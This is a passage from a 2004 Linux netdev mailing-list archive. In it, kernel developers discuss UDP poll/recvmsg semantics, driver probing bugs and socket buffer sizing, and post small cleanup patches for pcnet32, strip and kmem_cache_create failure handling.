-0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHgHb23444; Mon, 23 Feb 2004 12:42:17 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHgHi18444; Mon, 23 Feb 2004 12:42:17 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NHgFkC023070; Mon, 23 Feb 2004 12:42:15 -0500 Date: Mon, 23 Feb 2004 09:42:16 -0800 From: "David S. Miller" To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-Id: <20040223094216.66602afd.davem@redhat.com> In-Reply-To: <20040223094209.GA12663@suse.de> References: <20040217121726.GD8554@suse.de> <20040221130853.4c98bad6.davem@redhat.com> <20040223094209.GA12663@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3508 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 10:42:10 +0100 Olaf Kirch wrote: > But that breaks poll/recvmsg on a blocking socket, because poll with > assert POLLIN, but the recvmsg call with block. There is nothing wrong with that, I even pinged Linus about this and he agreed with me. What stops another thread from pulling a packet from the receive queue and thus emptying it? Nothing. POLLIN does not guarentee a read will give you data right now, it never has and it never will. Therefore, the only bug was returning -EAGAIN unconditionally and that's what is fixed by the correct half of your changes. TCP does the same thing Olaf, and there is no way I'm adding the gross poll hacks there :-) From shemminger@osdl.org Mon Feb 23 09:50:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 09:50:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NHoaKO031664 for ; Mon, 23 Feb 2004 09:50:37 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NHnPE18802; Mon, 23 Feb 2004 09:49:25 -0800 Date: Mon, 23 Feb 2004 09:49:25 -0800 From: Stephen Hemminger To: Cacophonix Cc: jt@bougret.hpl.hp.com, netdev@oss.sgi.com Subject: Re: [PATCH] hp100 -- fixes for new probing. Message-Id: <20040223094925.344bc73d@dell_ss3.pdx.osdl.net> In-Reply-To: <20040223084814.80312.qmail@web14002.mail.yahoo.com> References: <20040223084814.80312.qmail@web14002.mail.yahoo.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3509 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 00:48:14 -0800 (PST) Cacophonix wrote: > (resending, copying netdev) > > Hi, > Any idea if any of these patches may have broken hp100 when statically built into the > kernel (i.e, not as a module)? > > Upgrading from 2.6.0-test6 to 2.6.3-mm2 (which does include the latest patchsets for > hp100 from Stephen), the kernel locks up at boot at the point where hp100 > detection/initialization normally occurs (the driver is compiled into the kernel). > However, changing hp100 to a module, and loading it dynamically works. > > Any clues about which of the recent patches between 2.6.0-test6 and 2.6.3-mm2 might > be causing the lockup? Thanks for any pointers. > > cheers, > karthik There probably is some bug introduced with the recent changes. The driver tries to handle isa, eisa, and pci all with the same infrastructure. There are two different probe paths, one for the module and one for the non-module ISA case. Could you add some printk's and see if the problem in the hp100_isa_probe code (happens first), or the PCI probe that happens from: hp100_module_init -> pci_module_init -> hp100_pci_probe... From davem@redhat.com Mon Feb 23 09:54:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 09:55:02 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NHsvKO032103 for ; Mon, 23 Feb 2004 09:54:58 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHstb27756; Mon, 23 Feb 2004 12:54:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NHsti22546; Mon, 23 Feb 2004 12:54:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NHsqkC029724; Mon, 23 Feb 2004 12:54:53 -0500 Date: Mon, 23 Feb 2004 09:54:54 -0800 From: "David S. Miller" To: Xose Vazquez Perez Cc: jgarzik@redhat.com, netdev@oss.sgi.com, marcelo.tosatti@cyclades.com Subject: Re: [PATCH] detailled bcm help-2.4.25 Message-Id: <20040223095454.488ace1f.davem@redhat.com> In-Reply-To: <403A00AA.3010707@wanadoo.es> References: <403A00AA.3010707@wanadoo.es> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3510 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 14:31:22 +0100 Xose Vazquez Perez wrote: > aginst 2.4.25 > > This patch adds more realistic information about bcm NICs. > People only know the commercial names and not about chips names. Please leave the tigon3, and say something like "tigon3 chips, also commonly known as NetXtreme..." but even that is garbage because 3com and Alteon call the 57xx based products something else too. This is why I really hate changes like this :) From davem@redhat.com Mon Feb 23 10:26:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 10:26:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NIQMKO000357 for ; Mon, 23 Feb 2004 10:26:22 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NIQFb05478; Mon, 23 Feb 2004 13:26:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NIQEi00683; Mon, 23 Feb 2004 13:26:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NIQCkC014649; Mon, 23 Feb 2004 13:26:12 -0500 Date: Mon, 23 Feb 2004 10:26:13 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: ak@muc.de, netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040223102613.33838132.davem@redhat.com> In-Reply-To: <20040223.203843.04073965.yoshfuji@linux-ipv6.org> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3511 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Wait, I have an idea. I was going to suggest ifdef'ing this change for 64-bit, but there is an even nicer way to do this and it avoids the magic number argument we're having right now too. Let's compute this for _real_, as some kind of function on sizeof(struct sk_buff) For example, the overhead of N 1-byte packets. Andi has made a real observation in that various areas of performance are sensitive to the snd/rcv buffer size, and the values we choose are inherently tied to the size of struct sk_buff. So whatever random value we choose today, could be useless and cause bad performance the next time we change struct sk_buff in some way. The proposal I make intends to avoid this endless tweaking. Two more observations while grepping for SK_{R,W}MEM_MAX. 1) IPV4 icmp sents sk_sndbuf of it's sockets to "2 * SK_WMEM_MAX", that's not what it really wants. What it really wants is enough space to hold ~2 full sized IPV4 packets, roughly 2 * 64K + struct sk_buff overhead and thus that is what it should be using there. 2) IPV6 icmp does the same as ipv4, except this value is even more wrong there especially considering jumbograms. With current code, sending a jumbogram ipv6 icmp packet would simply fail, and I wonder if anyone has even tried this. I'll cook something up to address all of this and it's going to go into 2.4.x as well. From brazilnut@us.ibm.com Mon Feb 23 11:06:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 11:06:22 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NJ6CKO001204 for ; Mon, 23 Feb 2004 11:06:12 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1NJ64SL822130; Mon, 23 Feb 2004 14:06:04 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1NJ62mn147872; Mon, 23 Feb 2004 12:06:03 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1NJ4xj18531; Mon, 23 Feb 2004 11:04:59 -0800 From: Don Fry Message-Id: <200402231904.i1NJ4xj18531@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32.c another diff error fix. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 23 Feb 2004 11:04:59 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3512 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev I made another diff file error in my previous series of patches to 2.4.25 The following patch should be done after "handle failures in open" and before "non-mii errors with ethtool". --- linux-2.4.25/drivers/net/clean.pcnet32.c Mon Feb 23 10:16:35 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Mon Feb 23 10:17:05 2004 @@ -401,13 +401,13 @@ } static struct pcnet32_access pcnet32_wio = { - read_csr: pcnet32_wio_read_csr, - write_csr: pcnet32_wio_write_csr, - read_bcr: pcnet32_wio_read_bcr, - write_bcr: pcnet32_wio_write_bcr, - read_rap: pcnet32_wio_read_rap, - write_rap: pcnet32_wio_write_rap, - reset: pcnet32_wio_reset + .read_csr = pcnet32_wio_read_csr, + .write_csr = pcnet32_wio_write_csr, + .read_bcr = pcnet32_wio_read_bcr, + .write_bcr = pcnet32_wio_write_bcr, + .read_rap = pcnet32_wio_read_rap, + .write_rap = pcnet32_wio_write_rap, + .reset = pcnet32_wio_reset }; static u16 pcnet32_dwio_read_csr (unsigned long addr, int index) @@ -456,13 +456,13 @@ } static struct pcnet32_access pcnet32_dwio = { - read_csr: pcnet32_dwio_read_csr, - write_csr: pcnet32_dwio_write_csr, - read_bcr: pcnet32_dwio_read_bcr, - write_bcr: pcnet32_dwio_write_bcr, - read_rap: pcnet32_dwio_read_rap, - write_rap: pcnet32_dwio_write_rap, - reset: pcnet32_dwio_reset + .read_csr = pcnet32_dwio_read_csr, + .write_csr = pcnet32_dwio_write_csr, + .read_bcr = pcnet32_dwio_read_bcr, + .write_bcr = pcnet32_dwio_write_bcr, + .read_rap = pcnet32_dwio_read_rap, + .write_rap = pcnet32_dwio_write_rap, + .reset = pcnet32_dwio_reset }; @@ -1624,7 +1624,9 @@ crc = ether_crc_le(6, addrs); crc = crc >> 26; - mcast_table [crc >> 4] |= cpu_to_le16(1 << (crc & 0xf)); + mcast_table [crc >> 4] = le16_to_cpu( + le16_to_cpu(mcast_table [crc >> 4]) | (1 << (crc & 0xf)) + ); } return; } @@ -1709,9 +1711,9 @@ } static struct pci_driver pcnet32_driver = { - name: DRV_NAME, - probe: pcnet32_probe_pci, - id_table: pcnet32_pci_tbl, + .name = DRV_NAME, + .probe = pcnet32_probe_pci, + .id_table = pcnet32_pci_tbl, }; MODULE_PARM(debug, "i"); -- Don Fry brazilnut@us.ibm.com From ak@suse.de Mon Feb 23 12:09:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 12:10:06 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NK9jKO002207 for ; Mon, 23 Feb 2004 12:09:46 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 88671228866; Mon, 23 Feb 2004 20:24:44 +0100 (CET) Date: Wed, 25 Feb 2004 21:15:26 +0100 From: Andi Kleen To: "David S. Miller" Cc: yoshfuji@linux-ipv6.org, ak@muc.de, netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040225211526.74478066.ak@suse.de> In-Reply-To: <20040223102613.33838132.davem@redhat.com> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3513 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 10:26:13 -0800 "David S. Miller" wrote: > > The proposal I make intends to avoid this endless tweaking. [...] Sounds good to me. > Two more observations while grepping for SK_{R,W}MEM_MAX. > > 1) IPV4 icmp sents sk_sndbuf of it's sockets to "2 * SK_WMEM_MAX", that's not > what it really wants. What it really wants is enough space to hold > ~2 full sized IPV4 packets, roughly 2 * 64K + struct sk_buff overhead > and thus that is what it should be using there. Just sk_buff overhead for what MTU? 576? (would be a bit extreme) And in theory it could be one byte packets too. > 2) IPV6 icmp does the same as ipv4, except this value is even more wrong there > especially considering jumbograms. With current code, sending a jumbogram > ipv6 icmp packet would simply fail, and I wonder if anyone has even tried > this. Isn't even ICMPv6 limited to the minimum guaranteed MTU (1000 something) like ICMPv4 is to 576 bytes? -Andi From davem@redhat.com Mon Feb 23 13:32:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:32:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLWgKO006410 for ; Mon, 23 Feb 2004 13:32:43 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NLWZb29610; Mon, 23 Feb 2004 16:32:35 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NLWZi28271; Mon, 23 Feb 2004 16:32:35 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NLWWkC011794; Mon, 23 Feb 2004 16:32:32 -0500 Date: Mon, 23 Feb 2004 13:32:33 -0800 From: "David S. Miller" To: Andi Kleen Cc: yoshfuji@linux-ipv6.org, ak@muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040223133233.71eecc99.davem@redhat.com> In-Reply-To: <20040225211526.74478066.ak@suse.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3514 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 21:15:26 +0100 Andi Kleen wrote: [ mostrows removed from CC:, he bounces and this is no longer a pppoe discussion anymore :) ] > On Mon, 23 Feb 2004 10:26:13 -0800 > "David S. Miller" wrote: > > > 1) IPV4 icmp sents sk_sndbuf of it's sockets to "2 * SK_WMEM_MAX", that's not > > what it really wants. What it really wants is enough space to hold > > ~2 full sized IPV4 packets, roughly 2 * 64K + struct sk_buff overhead > > and thus that is what it should be using there. > > Just sk_buff overhead for what MTU? 576? (would be a bit extreme) > And in theory it could be one byte packets too. Two full sized ICMP echo responses (64K) of data plus 2 struct sk_buff, for example. > > 2) IPV6 icmp does the same as ipv4, except this value is even more wrong there > > especially considering jumbograms. With current code, sending a jumbogram > > ipv6 icmp packet would simply fail, and I wonder if anyone has even tried > > this. > > Isn't even ICMPv6 limited to the minimum guaranteed MTU (1000 something) like ICMPv4 is to > 576 bytes? What about ECHO? I can't send an ICMPv6 jumbo sized ECHO and expect a fully quoted response back? From rddunlap@osdl.org Mon Feb 23 13:58:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:37 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006986 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwBE00481; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:34:02 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] neighbour: handle kmem_cache_create() failure Message-Id: <20040223133402.1e722f6f.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3517 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev hi, Please apply to 2.6.3-current. -- ~Randy From: (Walter Harms) linux-263-kj1-rddunlap/net/core/neighbour.c | 4 ++++ 1 files changed, 4 insertions(+) diff -puN net/core/neighbour.c~net_neighbour_kmemcc net/core/neighbour.c --- linux-263-kj1/net/core/neighbour.c~net_neighbour_kmemcc 2004-02-18 14:45:21.000000000 -0800 +++ linux-263-kj1-rddunlap/net/core/neighbour.c 2004-02-18 14:45:21.000000000 -0800 @@ -1168,6 +1168,10 @@ void neigh_table_init(struct neigh_table 15) & ~15, 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + + if (!tbl->kmem_cachep) + panic("cannot create neighbour cache"); + tbl->lock = RW_LOCK_UNLOCKED; init_timer(&tbl->gc_timer); tbl->gc_timer.data = (unsigned long)tbl; _ From rddunlap@osdl.org Mon Feb 23 13:58:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:39 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006987 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwCE00485; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:36:35 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] inetpeer: kmem_cache_create() failure Message-Id: <20040223133635.68099d7f.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3522 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. From: (Walter Harms) linux-263-kj1-rddunlap/net/ipv4/inetpeer.c | 3 +++ 1 files changed, 3 insertions(+) diff -puN net/ipv4/inetpeer.c~ipv4_inetpeer_kmemcc net/ipv4/inetpeer.c --- linux-263-kj1/net/ipv4/inetpeer.c~ipv4_inetpeer_kmemcc 2004-02-18 14:41:08.000000000 -0800 +++ linux-263-kj1-rddunlap/net/ipv4/inetpeer.c 2004-02-18 14:41:08.000000000 -0800 @@ -129,6 +129,9 @@ void __init inet_initpeers(void) 0, SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!peer_cachep) + panic("cannot create inet_peer_cache"); + /* All the timers, started at system startup tend to synchronize. Perturb it a bit. */ _ -- ~Randy From rddunlap@osdl.org Mon Feb 23 13:58:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:37 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwIKO006995 for ; Mon, 23 Feb 2004 13:58:18 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwDE00517; Mon, 23 Feb 2004 13:58:13 -0800 Date: Mon, 23 Feb 2004 13:44:45 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@redhat.com Subject: [janitor] strip: use kernel min/max Message-Id: <20040223134445.32c3c367.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3516 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Michael Veeck Domen Puncer schrieb: > > Just some suggestions... > >> #define ELEMENTS_OF(X) (sizeof(X) / sizeof((X)[0])) > > Remove this define and s/ELEMENTS_OF/ARRAY_SIZE/g > There are more occurances of redundant ARRAY_SIZEs in the kernel. I will keep that in mind! > > >>@@ -847,7 +845,7 @@ >> static int allocate_buffers(struct strip *strip_info, int mtu) >> { >> struct net_device *dev = strip_info->dev; >>- int sx_size = MAX(STRIP_ENCAP_SIZE(MAX_RECV_MTU), 4096); >>+ int sx_size = max((int)STRIP_ENCAP_SIZE(MAX_RECV_MTU), 4096); > > > max_t? Changed that to max_t and min_t. A newbie queston: What should when be preferred and why? Attached is the new patch. Veeck linux-263-kj1-rddunlap/drivers/net/wireless/strip.c | 12 +++++------- 1 files changed, 5 insertions(+), 7 deletions(-) diff -puN drivers/net/wireless/strip.c~net_strip_minmax drivers/net/wireless/strip.c --- linux-263-kj1/drivers/net/wireless/strip.c~net_strip_minmax 2004-02-18 14:46:24.000000000 -0800 +++ linux-263-kj1-rddunlap/drivers/net/wireless/strip.c 2004-02-18 14:46:24.000000000 -0800 @@ -82,6 +82,7 @@ static const char StripVersion[] = "1.3A /* Header files */ #include +#include #include #include #include @@ -454,10 +455,7 @@ static spinlock_t strip_lock = SPIN_LOCK #define READDEC(X) ((X)>='0' && (X)<='9' ? (X)-'0' : 0) -#define MIN(X, Y) ((X) < (Y) ? (X) : (Y)) -#define MAX(X, Y) ((X) > (Y) ? (X) : (Y)) -#define ELEMENTS_OF(X) (sizeof(X) / sizeof((X)[0])) -#define ARRAY_END(X) (&((X)[ELEMENTS_OF(X)])) +#define ARRAY_END(X) (&((X)[ARRAY_SIZE(X)])) #define JIFFIE_TO_SEC(X) ((X) / HZ) @@ -847,7 +845,7 @@ static __u8 *radio_address_to_string(con static int allocate_buffers(struct strip *strip_info, int mtu) { struct net_device *dev = strip_info->dev; - int sx_size = MAX(STRIP_ENCAP_SIZE(MAX_RECV_MTU), 4096); + int sx_size = max_t(int, STRIP_ENCAP_SIZE(MAX_RECV_MTU), 4096); int tx_size = STRIP_ENCAP_SIZE(mtu) + MaxCommandStringLength; __u8 *r = kmalloc(MAX_RECV_MTU, GFP_ATOMIC); __u8 *s = kmalloc(sx_size, GFP_ATOMIC); @@ -1465,7 +1463,7 @@ static void strip_send(struct strip *str /* Cycle to next periodic command? */ if (strip_info->firmware_level >= StructuredMessages) if (++strip_info->next_command >= - ELEMENTS_OF(CommandString)) + ARRAY_SIZE(CommandString)) strip_info->next_command = 0; #ifdef EXT_COUNTERS strip_info->tx_ebytes += ts.length; @@ -1709,7 +1707,7 @@ static void get_radio_version(struct str p++; len = value_end - value_begin; - len = MIN(len, sizeof(FirmwareVersion) - 1); + len = min_t(int, len, sizeof(FirmwareVersion) - 1); if (strip_info->firmware_version.c[0] == 0) printk(KERN_INFO "%s: Radio Firmware: %.*s\n", strip_info->dev->name, len, value_begin); _ From rddunlap@osdl.org Mon Feb 23 13:58:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 13:58:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NLwHKO006988 for ; Mon, 23 Feb 2004 13:58:17 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1NLwCE00489; Mon, 23 Feb 2004 13:58:12 -0800 Date: Mon, 23 Feb 2004 13:36:51 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] ipv4 ipmr: handle kmem_cache_create() failure Message-Id: <20040223133651.75c85ea2.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3524 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. From: (Walter Harms) linux-263-kj1-rddunlap/net/ipv4/ipmr.c | 3 +++ 1 files changed, 3 insertions(+) diff -puN net/ipv4/ipmr.c~ipv4_ipmr_kmemcc net/ipv4/ipmr.c --- linux-263-kj1/net/ipv4/ipmr.c~ipv4_ipmr_kmemcc 2004-02-18 14:41:20.000000000 -0800 +++ 